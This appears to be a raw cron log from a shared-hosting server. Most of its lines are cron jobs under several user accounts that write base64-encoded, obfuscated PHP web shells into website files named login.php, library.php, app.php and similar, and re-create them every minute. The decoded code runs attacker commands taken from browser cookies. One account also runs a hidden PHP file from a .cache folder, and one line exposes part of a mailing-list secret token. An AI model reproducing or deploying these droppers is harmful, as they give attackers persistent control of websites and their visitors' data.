JiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:56:01 medusa CROND[26266]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:56:01 medusa CROND[26264]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:57:02 medusa CROND[18624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:57:02 medusa CROND[18641]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:57:02 medusa CROND[18643]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 04:57:02 medusa CROND[18644]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:57:02 medusa CROND[18645]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:57:02 medusa CROND[18642]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:57:02 medusa CROND[18648]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:57:02 medusa CROND[18647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:57:02 medusa CROND[18646]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:57:02 medusa CROND[18654]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:57:02 medusa CROND[18655]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:57:02 medusa CROND[18664]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:58:02 medusa CROND[11212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:58:02 medusa CROND[11213]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:58:02 medusa CROND[11214]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 04:58:02 medusa CROND[11215]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:58:02 medusa CROND[11218]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:58:02 medusa CROND[11219]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:58:02 medusa CROND[11220]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 04:58:02 medusa CROND[11222]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:58:02 medusa CROND[11225]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:58:02 medusa CROND[11226]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:58:02 medusa CROND[11227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:58:02 medusa CROND[11228]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:58:02 medusa CROND[11233]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:58:02 medusa CROND[11235]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:59:02 medusa CROND[3636]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:59:02 medusa CROND[3637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:59:02 medusa CROND[3638]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 04:59:02 medusa CROND[3639]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:59:02 medusa CROND[3640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
